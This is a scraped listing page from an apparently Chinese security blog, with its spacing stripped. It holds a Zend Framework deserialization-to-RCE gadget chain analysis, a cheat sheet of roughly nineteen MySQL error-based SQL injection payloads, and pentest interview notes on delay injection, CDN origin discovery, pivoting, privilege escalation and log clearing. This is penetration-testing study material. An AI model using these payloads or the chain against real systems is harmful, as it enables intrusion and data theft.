2021-1-19 86 0
应用安全

Zend框架反序列化漏洞复现分析1.环境安装composer下载composercreate-projectzendframework/skeleton-application然后进入目录php-S0.0.0.0:8099-tpublic启动修改module/Application/src/Controller/IndexController.php生成poc,poc.php发送请求,环境搭建成功2.漏洞分析:查看POC根据POC进行分析1.Zend\Http\Response\Stream__destruct方法中的unlink,unlink函数的第一个参数为String类型,如果$this->streamName为一个类,即可触发__toString方法2.Zend\View\Helper\Gravatar根据$a=newZend\Http\Response\Stream($b);对Zend\View\Helper\Gravatar进行分析__toString调用了getImgTag方法,跟进getImgTag跟进setSrcAttribForImg发现attributes参数可控,跟进htmlAttribs$this->getView(),发现$view可控也就是我们可以控制$this->getView(),3.根据$b=newZend\View\Helper\Gravatar($c);$this->getView()则为newZend\View\Renderer\PhpRenderer类,跟进PhpRenderer,PhpRenderer有plugin方法跟进getHelperPluginManager,$__helpers也是可以控制的也就是$this->getHelperPluginManager()可以控制3.$c=newZend\View\Renderer\PhpRenderer($d);$b为Zend\Config\ReaderPluginManager。跟进ReaderPluginManager,该类中没有get方法,但是该类继承AbstractPluginManager,跟进AbstractPluginManager,get方法Has方法的$name为escapehtml,$name为escapehtml,$options不可控只能为空,所以$instance从parent:get取值,跟进parent:get因为$escaper=$this->getView()->plugin('escapehtml');$escapeHtmlAttr=$this->getView()->plugin('escapehtmlattr');所以$this->services需要有2个key,$this->services=["escapehtml"=>$services,"escapehtmlattr"=>$services];根据$d=newZend\Config\ReaderPluginManager($e);$e为$e=newZend\Validator\Callback();所以也就是$this->services需要为Zend\Validator\Callback,继续跟进validate,$this->instanceOf可控,需要为Zend\Validator\Callback()$escaper为Zend\Validator\Callback(),key为1调用的时候会自动调用,__invoke,然后调用isValid。跟进isValid139行有个call_user_func_array,$args为1,$callback=$this->getCallback(),跟进getCallback所以$options,也可以控制。最后导致RCE。所以整体利用链如下:1.Zend\Http\Response\Stream->__destruct()中的unlink()触发Zend\View\Helper\Gravatar->__toString()方法2.Zend\View\Helper\Gravatar->__toString()调用Zend\View\Helper\Gravatar->getImgTag()方法,最后触发了AbstractHtmlElement.php:73的htmlAttribs方法1.htmlAttribs中的$this->getView()->plugin为PhpRenderer的plugin,$this->getView(),PhpRenderer->plugin调用了getHelperPluginManager,etHelperPluginManager的__helpers可控2.控制__helpers需要为Zend\Config\ReaderPluginManager,Zend\Config\ReaderPluginManager,没有get方法ReaderPluginManager继承AbstractPluginManager,所以调用了AbstractPluginManager->get,后续调用了ServiceManager->get,AbstractPluginManager继承,ServiceManager,services和instanceOf可控,所以只需要序列化ReaderPluginManager时指定services和instanceOf,$escaper等于AbstractPluginManager->get返回的instanceOf,也就是Zend\Validator\Callback(),当$escaper($key)的时候会触发Zend\Validator\Callback->__invoke(),终执行Zend\Validator\Callback-isValid()中的call_user_func_array

pentest

1.floor()floor和groupby搭配使用利用groupby的key唯一性和mysql编码执行顺序导致二次执行产生不同keyselect*fromuserswhereid=1OR+1e0GROUPBY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))HAVING+MIN(0)OR+1数值型注入时不用闭合‘进行注入利用or条件注入通用型的一般格式注入select*fromuserswhereid=1and(select1from(selectcount(*),concat(user(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)2.extractvalue对XML文档进行查询的函数和updatexml()一样针对5.5版本以后select*fromuserswhereid=1andextractvalue(1,concat(0x7e,user()))3.updatexml()select*fromtestwhereid=1andupdatexml(1,concat(0x7e,user()),1)4.geometrycollection()select*fromtestwhereid=1andgeometrycollection((select*from(select*from(selectuser())a)b));5.multipoint()select*fromtestwhereid=1andmultipoint((select*from(select*from(selectuser())a)b));6.polygon()select*fromtestwhereid=1andpolygon((select*from(select*from(selectuser())a)b));7.multipolygon()select*fromtestwhereid=1andmultipolygon((select*from(select*from(selectuser())a)b));8.linestring()select*fromtestwhereid=1andmultilinestring((select*from(select*from(selectuser())a)b));9.multilinestring()select*fromtestwhereid=1andmultilinestring((select*from(select*from(selectuser())a)b));10.exp()exp()即为以e为底的对数函数exp(709)里面的参数在大于709时函数会报错ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(710)'select*fromtestwhereid=1andexp(~(select*from(selectuser())a));11.procedureanalyseselect*fromusersorderby1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1)12.用户变量selectmin(@a:=1)frominformation_schema.tablesgroupbyconcat(database(),@a:=(@a+1)%2)13.通过NAME_CONST(适用于低版本)+or+(select*from(selectNAME_CONST(version(),1),NAME_CONST(version(),1))asx)14.0位取反报错(BIGINT溢出)select~0+!(select*from(selectuser())x);15.atan,ceil,floor,!,...相减溢出select!atan((select*from(selectuser())a))-~0;select!ceil((select*from(selectuser())a))-~0;select!floor((select*from(selectuser())a))-~0;select!HEX((select*from(selectuser())a))-~0;select!RAND((select*from(selectuser())a))-~0;select!FLOOR((select*from(selectuser())a))-~0;select!CEILING((select*from(selectuser())a))-~0;select!RAND((select*from(selectuser())a))-~0;select!TAN((select*from(selectuser())a))-~0;select!SQRT((select*from(selectuser())a))-~0;select!ROUND((select*from(selectuser())a))-~0;select!SIGN((select*from(selectuser())a))-~0;16.@:=!(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0(select(!x-~0)from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_name,0x3a3a,column_name)),@))x)a)(select!x-~0.from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_name,0x3a3a,column_name)),@))x)a)17.^按位异或select!(select*from(selectuser())a)-0^222;18.0位表减溢出(select(!x-~0)from(select(selectuser())x)a)(select!x-~0.from(select(selectuser())x)a)19.in溢出select*fromuserswhereidin(~0+!(select*from(selectuser())x))要记住的是这些错误函数显示都是有长度限制的

2020-11-26 190 0
2020-11-16 199 0
2020-10-15 383 0
pentest

01.sleep被禁用后还能怎么进行sql注入BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。mysql:AND(SELECTcount(*)FROMinformation_schema.columnsA,information_schema.columnsB,information_schema.SCHEMATAC);02.MySQL的@与@@区别MySQL的@与@@区别@x是用户自定义的变量(Uservariablesarewrittenas@var_name)@@x是global或session变量(@@global@@session).03.HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookieHttpTrace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄漏04.做了cdn的网站如何获取真实IP多地ping看是否有cdn邮件订阅或者rss订阅二级域名可能不会做cdnnslookuphttp://xxx.com国外dns查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址https://toolbar.netcraft.com/site_report?url=www.xxx.comphpinfo上显示的信息05.web常用的加密算法有什么非对称加密RSA、ElGamal、Rabin对称加密DES、3DES、AES散列算法MD5SHAbase6406.有没有内网渗透的经验?怎么渗透?如果拿下了边界层的某一个机器,如何对内网其他进行探测?拿下机器后内网渗透使用代理访问内网windows环境:reGeorg与proxifierLinux(kali-linux)环境:reGeorg与proxychains,使用nmap等工具进行扫描,发现web服务的主机和其它信息。有时这些边界机器上会记录一些内网服务器上的一些信息(用户sshknown_hostshosts防火墙设置记录、内网之间好多waf规则基本都是空,大多数waf防外部威胁这时候可以拿到探测的内部一些开放的端口判断进行渗透,通常用户这里基本是统一命名的拿到的各种记录会暴露出部分内网通讯的ip07.给你一个网站你是如何来渗透测试1)信息收集,1,获取域名的whois信息,获取注册者邮箱姓名电话等。2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针6,googlehack进一步探测网站的信息,后台,敏感文件2)漏洞扫描开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等3)漏洞利用利用以上的方式拿到webshell,或者其他权限4)权限提升提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysqlsystem提权以及oracle低权限提权5)日志清理6)总结报告及修复方案sqlmap,怎么对一个注入点注入?1)如果是get型号,直接,sqlmap-u“诸如点网址”.2)如果是post型诸如点,可以sqlmap-u“注入点网址”–data=”post的参数”3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap-r“文件地址”nmap,扫描的几种方式08.反序列漏洞序列化跟存文件存数据库一样,持久化存储或传递,序列化是代码运行对象层面的持久化,保存类名和变量值。反序列化操作会对类构造实例,调用readobject恢复属性值,某些类在read中执行额外操作,调用一些方法,寻找能够将初始参数传入执行方法的,对象套对象的利用链形成漏洞。weblogicdubboshirofastjsonstruct2等组件漏洞

2020-8-20 295 0
2020-8-18 262 0
2020-8-12 263 0